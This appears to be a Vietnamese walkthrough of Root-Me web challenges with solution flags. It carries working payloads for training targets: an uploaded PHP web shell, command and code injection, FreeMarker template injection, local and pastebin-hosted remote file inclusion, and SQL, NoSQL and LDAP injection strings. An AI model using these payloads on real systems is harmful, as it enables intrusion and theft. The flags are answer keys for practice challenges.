[WU][web]root-me
web server + web client
Last updated
Was this helpful?
web server + web client
Last updated
Was this helpful?
Ctrl+U đọc source chứa flag:
FLAG: nZ^&@q5&sjJHev0
Tìm những IP trong vùng IP Private:
Thềm trường X-Forwarded-For: 172.16.0.2
vào Header (172.16.0.2 là IP private nên được hiểu là cùng mạng cục bộ)
FLAG: Ip_$po0Fing
Sử dụng burpsuite để xem request gửi đi!
Click vào twitter xem thử thì xuất hiện đoạn request sau:
?url=https://twitter.com&h=be8b09f7f1f66235a9c91986952483f0
param h mình nghĩ là hash nên analyze thử đoạn đóa xem thì biết là MD5. Chắc là hash của chuỗi url.
Mình thử sửa cho redirect tới root-me :>
FLAG: e6f8a530811d5a479812d7b82fc1a5c5
Modify user-agent của header lại thành admin
FLAG: rr$Li9%L34qd1AAe27
Paswword yếu chỉ có thể là: admin admin
FLAG: admin
Input sẽ được php exec!! Thực hiện nhiều command bằng dấu ;
PAYLOAD: ; cat index.php
Ctrl+U lên xem flag:
FLAG: S3rv1ceP1n9Sup3rS3cure
Mình dự định sử dụng nmap script http-backup-finder
để scan backup file nhưng may thay trong lúc đọc example usage thì có biết vài format của backup file nên mình thử trước khi scan
Khỏe là /index.php~ tồn tại và truy cập thì sẽ tải 1 file về
FLAG: OCCY9AcNm1tj
Ctrl+U lên đọc code thì có 1 endpoint mới: /admin/pass.html
Mình vào /admin/ xem thì bị Diretory list. Truy cập vào backup/admin.txt đọc flag
FLAG: LINUX
Vào thấy
Vào check header response có 1 trường khá lạ Header-RootMe-Admin: none
Mình quyết định sửa trường và thêm và header request gửi đi Header-RootMe-Admin: yes
FLAG: HeadersMayBeUseful
Bài này dùng brupsuite khi bắt gói POST khi click nút Give a try. Sửa param score thành 1 số bất kì lớn hơn 999999 (ở đây mình chọn 1000000).
FLAG: H7tp_h4s_N0_s3Cr37S_F0r_y0U
Bài này đơn giản đó là vào brupsuite gửi request rồi vào histroy xem gói tin có status code 302.
Hoặc xem gói tin response của gói request đầu tiên (flag trong này) và sửa status code là 200 sau đó xóa trường loacation thì gói tin này sẽ được render trên browser!
FLAG: ExecutionAfterRedirectIsBad
Bài này đọc doc của root me gửi cho giống như đọc để tham khảo và tìm hiểu thêm chứ bài này thay đổi method (verb) là được @@ mình thử đổi sang POST, HEAD mà không được mà may tới PUT là được :D
FLAG: a23e$dme96d3saez$$prap
Vào 1 màn hình trắng trơn, xem source và được gợi ý đến 1 enpoint /phpbb
nhưng đây cũng là màn hình trắng.
Đọc CVE và các gợi ý trên mạng mình truy cập vào endpoint /phpbb/install
thì phát hiện vuln của web!
Tại đây vào install.php
để đọc flag.
FLAG: karambar
Ở bài này cần làm 2 việc:
Chèn CRLF (\r\n a.k.a %0d%0a) vào đúng chỗ khi request
In ra được dòng "admin authenticated." (phải chính xác từng ký tự) còn lại in gì cũng được
PAYLOAD: ?user=admin authenticated.%0d%0aok&password=ok
FLAG: rFSP&G0p&5uAg1%
Từ tile thì đã hiểu được cách làm
Các bước làm trong bài này:
Tạo 1 file php <?php system($_GET['cmd']); ?>
Lưu tên là cmd.php.png
để ngụy trang
Upload file này và truy cập vào đường dẫn
Thêm param ?cmd=
để thực hiện command server.
Tiếp lần lực thực hiện:
pwd
để xem mình đứng ở đâu (Theo như đề thì flag để ở root của app chứ hong phải root của máy)
ls -a ../../../
(Mình đang đứng ở /challenge/web-serveur/ch20/galerie/upload/526f8f...)
cat ../../../.passwd
FLAG: Gg9LRz-hWSxqqUKd77-_q-6G8
Bài này cũng là sẽ khai thác upload file giống bài trên nên mới vào thử double extension cùng đó nhưng lúc truy cập vào file thất bại vì response Content-Type
là image/png chứ không phải text/html như bài cũ.
Vậy thử upload 1 file php nhưng chỉnh sửa type lại: image/jpg
Upload thành công, truy cập file và thêm param ?cmd=cat
để xem flag trên server.
FLAG: a7n4nizpgQgnPERy89uanf6T4
Tham quan 1 vòng thì nhận ra rằng mỗi mục là 1 folder bên trong là các ảnh.
Khi truyền giá trị cho galerie
thì server sẽ thực thi open directory (không phải include file).
Ta thử truyền ..
vào cho galerie
:
Xuất hiện lỗi (không filter giá trị nhập vào). Và tin chắc là FLAG đang nằm trong galerie
.
Có 1 folder khá lạ 86hwnX2r
. Truy cập vào xem
File password.txt
nằm ở đây! Mở ngay file này nhưng báo lỗi Not a directory. Nhớ rằng đây open dir chứ không phải include file.
Ta truy cập trực tiếp vào file bằng đường dẫn.
Chỉ có thể truy cập trực vào file bằng đường dẫn còn folder thì không trực tiếp được bởi vì webserver đã configue hạn chế quyền.
FLAG: kcb$!Bx@v4Gs9Ez
Thêm 1 bài tấn công bằng cách upload file php.
Đầu tiên thử double extention nhưng không bypass được, tương tự với edit type.
Reseach về Nullbyte thì biết rằng thêm %00
(NULL) vào bất kỳ chỗ nào trong chuỗi thì string kết thúc tại đó.
Tạo 1 file inject.php.png
với nội dung là code php như các bài trên.
Dùng burpsuite để capture gói tin trước khi gửi đi và edit filename
lại inject.php%00.png
Như vậy vừa bypass được filter mà còn lưu vào server dưới dạng inject.php
vì đoạn sau %00
đã bị cắt
Truy cập vào file vừa upload là thấy flag
FLAG: YPNchi2NmTwygr2dgCCF
Tại bài này ta có thể thấy một số page home
, about
, contact
đều được gọi lên bằng cách truyền giá tên file cho param ?page=
. Thử fuzz ../
xem có chuyện gì xảy ra không
Bài này có 3 pages: home
, about
, contact
. Và 3 pages này được gọi thông qua việc truyền giá trị tương ứng cho param ?page=
. Ta thử với input khác cho page
, ví dụ như ../../etc/passwd
để mong chờ LFI.
Warning lỗi, nếu không truyền gì cho page
thì does not exist. Vậy ta có thể hình dung được source ở server như sau:
Waring 1 lỗi. Như vậy ta có thể hình dung ra phần nào code của backend:
Nhìn code trên ta kết luận rằng đây là code injection và mình có thể chỉnh sửa code theo tùy thích.
PAYLOAD: ', '..') === false and system('cat .passwd') and strpos('
FLAG: x4Ss3rT1nglSn0ts4f3A7A1Lx
Có một form login nhưng ta không có username và password. Việc cần làm là leak được password
Thử ../../../etc/passwd
để mong chờ LFI hay gì đấy đại loại thì warning lỗi open_basedir (giới hạn truy cập một file bên ngoài folder đã chỉ định.
Vì tên bài này là php-filters. Search keyword php wrapper và đọc manual sẽ biết cách sử dụng filter
.
Để đọc source code của file login.php mình thử payload: php://filter/resource=login.php
À, khi response thì sẽ được render source code luôn nên là trước khi response phải encode chúng.
PAYLOAD: php://filter/convert./resource=login.php
Vậy password được lưu tại file config.php
:
PAYLOAD: php://filter/convert./resource=config.php
.
Response: PD9waHAKCiR1c2VybmFtZT0iYWRtaW4iOwokcGFzc3dvcmQ9IkRBUHQ5RDJta3kwQVBBRiI7Cgo/Pg==
FLAG: DAPt9D2mky0APAF
Nhờ có kinh nghiệm từbàitim backup file nên ở bài này hint là It seems that the developper often leaves backup files around... mình liền tìm được: index.php.bak
Nhờ đoạn code kiểm tra trước khi in flag
Tại điều kiện này quy ra chỉ cần cótồn tại param mảng _SESSION
và giá trị tại logged = 1
. Được biểu thị dưới dạng url như sau:
PAYLOAD: ?_SESSION[logged]=1
.
FLAG: NoTQYipcRKkgrqG
Tạo thử 1 file phpinfo.php
có nội dung <?php phpinfo() ?>
và nén lại phpinfo.zip
rồi upload, sau đó xem thử nội dung file php ta vừa upload:
Oopss!!! Không thể access tệp php. Nhưng ít ra ta được biết path đến file hiện tại và có thể đoán được ngay file index.php
cần xem đang nằm tại ../../../index.php
(folder ch51
).
Theo hướng khác: Tạo 1 file cha51.txt -> link với ../../../index.php (dùng ln
) -> nén lại (zip
) -> upload
Sau khi upload, mở chal51.txt
xem:
FLAG: N3v3r_7rU5T_u5Er_1npU7
Cấu trúc thư mục của workplace Java sử dụng template FreeMaker (template phổ biến nhất của JAVA):
Trong doc từ PortSwigger có hướng dẫn sau:
Ứng dụng vào bài làm:
Thành công, ta cần đọc file SECRET_FLAG.txt
. Thay đổi 1 chút tham số truyền vào hàm ex()
.
PAYLOAD: <#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("cat SECRET_FLAG.txt") }
FLAG: B3wareOfT3mplat3Inj3ction
Có 2 param cần truyền files
(truyền tên folder), f
(truyền tên file).
Ta đến thư mục gốc của challenge này:
Có thư mục admin
và chắc rằng password
mình đang tìm nằm trong đấy.
Đọc file index.php
trong thư mục admin
.
PAYLOAD: ?files=../admin&f=index.php
.
Có 1 dòng code như sau: $users = array('admin' => 'OpbNJ60xYpvAQU8');
.
FLAG: OpbNJ60xYpvAQU8
Có 1 param page
. Thử truyền ../
và báo Attack detected. -> đã filter dấu ..
. Thử thêm thì biết đã filter dấu .
.
Truyền đại ký tự nào đấy (abc):
Từ đây ta biết được giá trị truyền vàosẽ được ghép với cụm extention .inc.php
Mình dùng payload sau để đọc source của chương trình, encode url 2 lần để bypass filter:
php://filter/convert.base64-encode/resource=home
%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%38%25%36%66%25%36%64%25%36%35
Nhận được 1 chuỗi base64:
PD9waHAgaW5jbHVkZSgiY29uZi5pbmMucGhwIik7ID8+CjwhRE9DVFlQRSBodG1sPgo8aHRtbD4KICA8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9InV0Zi04Ij4KICAgIDx0aXRsZT5KLiBTbWl0aCAtIEhvbWU8L3RpdGxlPgogIDwvaGVhZD4KICA8Ym9keT4KICAgIDw/PSAkY29uZlsnZ2xvYmFsX3N0eWxlJ10gPz4KICAgIDxuYXY+CiAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9wYWdlPWhvbWUiIGNsYXNzPSJhY3RpdmUiPkhvbWU8L2E+CiAgICAgIDxhIGhyZWY9ImluZGV4LnBocD9wYWdlPWN2Ij5DVjwvYT4KICAgICAgPGEgaHJlZj0iaW5kZXgucGhwP3BhZ2U9Y29udGFjdCI+Q29udGFjdDwvYT4KICAgIDwvbmF2PgogICAgPGRpdiBpZD0ibWFpbiI+CiAgICAgIDw/PSAkY29uZlsnaG9tZSddID8+CiAgICA8L2Rpdj4KICA8L2JvZHk+CjwvaHRtbD4K
Sau khi decode:
Trong file có include
1 file config. Làm tương tự để đọc source của file (sửa home
-> conf
)
PAYLOAD: php://filter/convert.base64-encode/resource=conf
DOUBLE ENCODED: %25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%36%36
BASE64 RESPONSE:
PD9waHAKICAkY29uZiA9IFsKICAgICJmbGFnIiAgICAgICAgPT4gIlRoMXNJc1RoM0ZsNGchIiwKICAgICJob21lIiAgICAgICAgPT4gJzxoMj5XZWxjb21lPC9oMj4KICAgIDxkaXY+V2VsY29tZSBvbiBteSBwZXJzb25hbCB3ZWJzaXRlICE8L2Rpdj4nLAogICAgImN2IiAgICAgICAgICA9PiBbCiAgICAgICJnZW5kZXIiICAgICAgPT4gdHJ1ZSwKICAgICAgImJpcnRoIiAgICAgICA9PiA0NDE3NTk2MDAsCiAgICAgICJqb2JzIiAgICAgICAgPT4gWwogICAgICAgIFsKICAgICAgICAgICJ0aXRsZSIgICAgID0+ICJDb2ZmZWUgZGV2ZWxvcGVyIEBNZWdhdXBsb2FkIiwKICAgICAgICAgICJkYXRlIiAgICAgID0+ICIwMS8yMDEwIgogICAgICAgIF0sCiAgICAgICAgWwogICAgICAgICAgInRpdGxlIiAgICAgPT4gIkJlZCB0ZXN0ZXIgQFlvdXJNb20ncyIsCiAgICAgICAgICAiZGF0ZSIgICAgICA9PiAiMDMvMjAxMSIKICAgICAgICBdLAogICAgICAgIFsKICAgICAgICAgICJ0aXRsZSIgICAgID0+ICJCZWVyIGRyaW5rZXIgQE5lYXJlc3RCYXIiLAogICAgICAgICAgImRhdGUiICAgICAgPT4gIjEwLzIwMTQiCiAgICAgICAgXQogICAgICBdCiAgICBdLAogICAgImNvbnRhY3QiICAgICAgID0+IFsKICAgICAgImZpcnN0bmFtZSIgICAgID0+ICJKb2huIiwKICAgICAgImxhc3RuYW1lIiAgICAgID0+ICJTbWl0aCIsCiAgICAgICJwaG9uZSIgICAgICAgICA9PiAiMDEgMzMgNzEgMDAgMDEiLAogICAgICAibWFpbCIgICAgICAgICAgPT4gImpvaG4uc21pdGhAdGhlZ2FtZS5jb20iCiAgICBdLAogICAgImdsb2JhbF9zdHlsZSIgID0+ICc8c3R5bGUgbWVkaWE9InNjcmVlbiI+CiAgICAgIGJvZHl7CiAgICAgICAgYmFja2dyb3VuZDogcmdiKDIzMSwgMjMxLCAyMzEpOwogICAgICAgIGZvbnQtZmFtaWx5OiBUYWhvbWEsVmVyZGFuYSxTZWdvZSxzYW5zLXNlcmlmOwogICAgICAgIGZvbnQtc2l6ZTogMTRweDsKICAgICAgfQogICAgICBkaXYjbWFpbnsKICAgICAgICBwYWRkaW5nOiAyMHB4IDEwcHg7CiAgICAgIH0KICAgICAgbmF2ewogICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIHJnYigxMDEsIDEwMSwgMTAxKTsKICAgICAgICBmb250LXNpemU6IDA7CiAgICAgIH0KICAgICAgbmF2IGF7CiAgICAgICAgZm9udC1zaXplOiAxNHB4OwogICAgICAgIHBhZGRpbmc6IDVweCAxMHB4OwogICAgICAgIGJveC1zaXppbmc6IGJvcmRlci1ib3g7CiAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrOwogICAgICAgIHRleHQtZGVjb3JhdGlvbjogbm9uZTsKICAgICAgICBjb2xvcjogIzU1NTsKICAgICAgfQogICAgICBuYXYgYS5hY3RpdmV7CiAgICAgICAgY29sb3I6ICNmZmY7CiAgICAgICAgYmFja2dyb3VuZDogcmdiKDExOSwgMTM4LCAxNDQpOwogICAgICB9CiAgICAgIG5hdiBhOmhvdmVyewogICAgICAgIGNvbG9yOiAjZmZmOwogICAgICAgIGJhY2tncm91bmQ6IHJnYigxMTksIDEzOCwgMTQ0KTsKICAgICAgfQogICAgICBoMnsKICAgICAgICBtYXJnaW4tdG9wOjA7CiAgICAgIH0KICAgICAgPC9zdHlsZT4nCiAgXTsK
FLAG: Th1sIsTh3Fl4g!
Mới vào ta fuzz thử ?lang=index.php
.
Đọc đoạn báo lỗi ta biết được rằng giá trị truyền vào sẽ được ghép với chuỗi _lang.php
rồi đưa vào include
. Mục tiêu của mình là đọc source code của file index.php, thử với payload index.php%00
Báo lỗi như thế là file index chỉ tồn tại ở thư mục hiện hànhchứ không có trong usr/share/php
:<
Bài này là RFI -> ý tưởng: Tạo 1 file php đọc nội dung của index.php và cho server include về.
Tạo pastebin có nội dung sau:
Chèn link vào và nhớ thêm ký tự NULL
vào: https://pastebin.com/raw/8TLQNzmS%00
.
Hàm system đã bị chặn @@ vậy edit phải thử lại tất cả các hàm có thể open file. Cuối cùng thì hàm file_get_contents
work!!! (Nhưng mình đã thay ký tự NULL
bằng sufix ?
. Không hiểu sao NULL không work @@). Ctrl+U xem Source:
FLAG: R3m0t3_iS_r3aL1y_3v1l
Sau 5phút đọc doc của root-me đưa thì keyword nằm ở mục 5.1. And Blind LDAP injection.
Thử ()
để show lỗi syntax:
Thử *
để uid
và userPassword
luôn đúng nhưng password đã filter:
Vậy phải kết control syntax để trả về giá trị true:
Username: *)(!(&(1=2
Password: test))
FLAG: SWRwehpkTI3Vu2F9DoTJJ0LBO
Sau 5 phút đọc doc và trọng tâm nằm ở IV. PHP ARRAY INJECTIONS. Ta tiến hành thực hiện inject:
Đọc source HTML thì ta biết bài này dùng phương thức GET
cũng được không cần POST
.
PAYLOAD: ?login[$ne]=1&pass[$ne]=1
$ne = not equal
As admin rồi @@ nhưng mà không phải flag (có 1 user hidden)
PAYLOAD: ?login[$ne]=admin&pass[$ne]=1
Vẫn không không được @@ tìm hiểu thêm thì mongodb
có thể query theo regex
.
PAYLOAD: ?login[$regex]=^((?!admin|test).)*$&pass[$ne]=1
^((?!____).)*$ regex not contain
admin|test chứa những ký tự này
FLAG: nosqli_no_secret_4_you
Như một thói quen, vào bài 1 bài sqli bất kỳ thì ngay lập tức fuzz: admin' or 1=1 -- --
Thành công injection nhưng password ở đây không phải flag.
Username của mình là admin mà kết quả về là user1, như vậy là do điều kiện luôn đúng nên sẽ trả và user đầu tiên. Nên bỏ or phía sau đi!
username: admin' -- --
password: admin'-- --
Flag: t0_W34k!$
Bài này theo title đã nói khá rõ "GBK", việc của mình là search GBK bypass
GBK là 1 loại charset giống như Unicode nhưng hiển thị được tiếng Hoa.
Mình cố thử injection tùm lum thứ vào nhưng không thành công , mình liền nghĩ phía server đã sử dụng hàm addslashes() hay đại loại vậy. Mình bắt đầu tìm cách bypass hàm này kết hợp với GBK phía trên.
THEO NHƯ RESEARCH ĐƯỢC:
Payload chứa dấu nháy (') sau khi qua hàm addslashed() sẽ được chèn dấu backslash (\) phía trước dấu nháy để khi thực hiện query thì db sẽ hiểu dấu nháy như 1 ký tự bình thường.
Charset GBK có những ký tự được gọi là mutibyte để hiện thị tiếng Hoa ví dụ như: 縗 viết dưới dạng byte-encode là %bf%5c
Dấu \ encode sang byte %5c
Dấu ' encode sang byte %27
Như vậy chỉ cần gửi đoạn %bf%27 đi thì addslashed() sẽ chèn %5c vào trước %27 tạo thành chuỗi %bf%5c%27 và decode sang string để thực hiện query là: 縗' rồi đưa vào query chạy 1 cách hoàn hảo???
OH NOOOOO
SAIIIIII! WORKFLOW TRÊN "CÓ VẺ" ĐÚNG NHƯNG THẬT CHẤT SAI RẤT SAIIIII
Về việc mutibyte là chính xác, encode hay decode ở trên đều đúng.
NHƯNG: %bf%5c là ở dưới dạng byte
Khi bỏ payload %bf%27 vào url thì đến server sẽ được url-decode thì ký tự %bf sẽ không đọc được nên lúc bỏ vào addslashes() cũng sẽ chỉ có %27 nên vẫn sẽ bị filter
Nên vậy cần phải suy nghĩ khác đi 1 chút ...
Ta cần tìm 1 ký tự tiếng hoa, ví dụ như: 縗
Ký tự trên sẽ được url encode: %E7%B8%97 => payload là %E7%B8%97%27
Phía server vẫn url decode cái trên. Đưa vào hàm addslahes() sẽ chèn %5c trước %27 => Lúc này server sửa payload chúng ta là %E7%B8%97%5c%27 (縗\')
Đoạn payload đã được sửa trên được byte decoding: 鈺榎'
Lúc này đoạn chuỗi trên vẫn giữ được dấu ' và đưa vào query một cách "an-toàn-đối-với-attacker".
PAYLOAD HOÀN HẢO:
Dưới dạng input: 縗' OR 1=1 ; -- -
Dưới dạng url: %E7%B8%97%27+OR+1%3D1+%3B+--+
Flag: iMDaFlag1337!
Tổng quan bài này có tận 2 chỗ để nhập form đó là search và login. Mình ưu tiên thử injection với search trước vì nó chỉ cần 1 input :> mình thử search ' abcxyz
xem:
Thật friendly, báo lỗi để mình biết được server sử fụng sqlite. Mình bắt đầu injection với kỹ thuật UNION:
PAYLOAD để liệt kê tbl và column của db trong sqlite:
' union select name from sqlite_master --//Báo lỗi sai vì không match column' union select name,sql from sqlite_master --
Có tên bảng, tên cột. Mình bắt đầu leak USERname và password của bảng users ra:
PAYLOAD: ' union select USERname, password from users --
FLAG: c4K04dtIaJsuWdi
Ở title là Numeric thì mình ngay lặp tực nghĩ ngay đến các định danh id của product, news, user,... Nên mình có thể bỏ qua phần login và kiếm đúng param chứa số để query, thật may mắn:
Ở bài báo này có 3 phần: Type (News), title (Système de news), và description.
Vậy sử dụng kỹ thuật UNION để injection trên thanh url.
PAYLOAD: &news_id=1 union select name, sql, tbl_name from sqlite_master --
Có tên bảng, tên cột. Thực hiện query lấy password/flag
PAYLOAD: &news_id=1 union select username, password, year from users --
=> Kết quả trả về sẽ bị mất trường username vì client chỉ hiển thị 1 Type thoiii
PAYLOAD EDITED: &news_id=1 union select null, password, username from users --
FLAG: aTlkJYLjcbLmue3
Vẫn như cũ, mới vào thì mình thử sức injection với search! Và sau một hồi fuzz linh tinh vào thì rút ra kết luận server đang sử dụng mysql và có một số từ bị filter: ORDER BY, AND, OR, ...
Sau một hồi đọc về thể loại routed sqli này thì mình có thể tưởng tượng ra trong đầu workflow của chall.
INPUT login: admin
SERVER sẽ thực hiện 2 câu query:
Select id, login from users where login='admin'; (Lưu kết quả vào mảng $result)
Select id, email from users where id= '. $result["id"] .';
SERVER gửi về CLIENT chỉ hiển thị ra id và email của trường có giá trị admin.
==================
Đặc biệt ở đây là: Output của query 1 là Input của query 2.
Mình có thử:
Vậy suy ra mình union select cái gì thì nó sẽ truyền qua query 2 đúng như mình suy đoán. (số mình select thì sẽ hiển thị dưới cột id và lưu vào $result["id"].).
Sau đợt brainstorm căng não kết hợp với các bài trên mình đã đoán được tbl và col của db. Một phát PAYLOAD ăn ngay:
PAYLOAD: ' union select 0x2720756e696f6e202073656c65637420312c2873656c6563742067726f75705f636f6e636174286c6f67696e2c20273a27202c70617373776f7264292066726f6d20757365727329202d2d202d -- -
DECODED: ' union select ' union select 1,(select group_concat(login, ':' ,password) from users) -- - -- -
FLAG: qs89QdAs9A
Tổng quan thì ngoài title thì lượm được hint trong source:
Đây là bài mà tìm doc trên mạng đọc dễ hiểu :>>>
Hint đề bài cho thì username (login) của mình có tối đa 12 ký tự thôi, khi truyền vào nhiều hơn cũng sẽ bị truncate :>> Đồng thời mình tạo 1 user admin nhưng bị bảo là đã có trong db nên không được tạo nữa!!
Kết hợp điều trên mình sẽ tạo 1 user admin 1
(13 ký tự, nếu không có số 1 thì không được nhé! Vì query vẫn sẽ tìm được 1 admin đã có trong db) với password >8 ký tự
Sau khi vào db thì số 1 sẽ bị xóa sẽ tạo thành user admin thứ 2 với password khác :> Và lấy được flag
FLAG: J41m3Qu4nD54Tr0nc
Bài này Error based và đựa trên doc được root cho đọc thì khá đuối cuối cùng cũng rút ra được nên làm gì.
Chạy thử payload: , cast((select table_name from information_schema.tables) as INT)
Báo lỗi:
Mình limit 0,1 nhưng có 1 HINT: khuyên dùng kết hợp LIMIT và OFFSET
Dùng litmit 1 offset 1 thì show ra 1 lỗi:
Mình confuse mấy phút rằng đây là tên 1 bảng postgreSQL cơ mà @@ Hạ offset xuống 0:
May quá, chắc đây là tên tbl mình cần
Mình cứ nghĩ bài này sẽ viết TOOL để brute force column cơ mà may mình test 3 cái là ra tên cột của username với password bằng payload sau (sửa offset): , cast((SELECT column_name FROM information_schema.columns limit 1 offset 0) as INT)
Có tên bảng là m3mbr35t4bl3 và 2 cột us3rn4m3_c0l, p455w0rd_c0l. Time to leak password!
PAYLOAD: , cast((SELECT p455w0rd_c0l FROM m3mbr35t4bl3 limit 1 offset 0) as INT)
FLAG: 1a2BdKT5DIx3qxQN3UaC
Solution: Clear input's disable attribute and submit
Flag: HTMLCantStopYou
Solution: Flag in Login() js function.
Flag: sh.org
Solution: Flag in Login() js function.
Flag: 123456azerty
?url=
Reference:
Mình nghĩ đây là !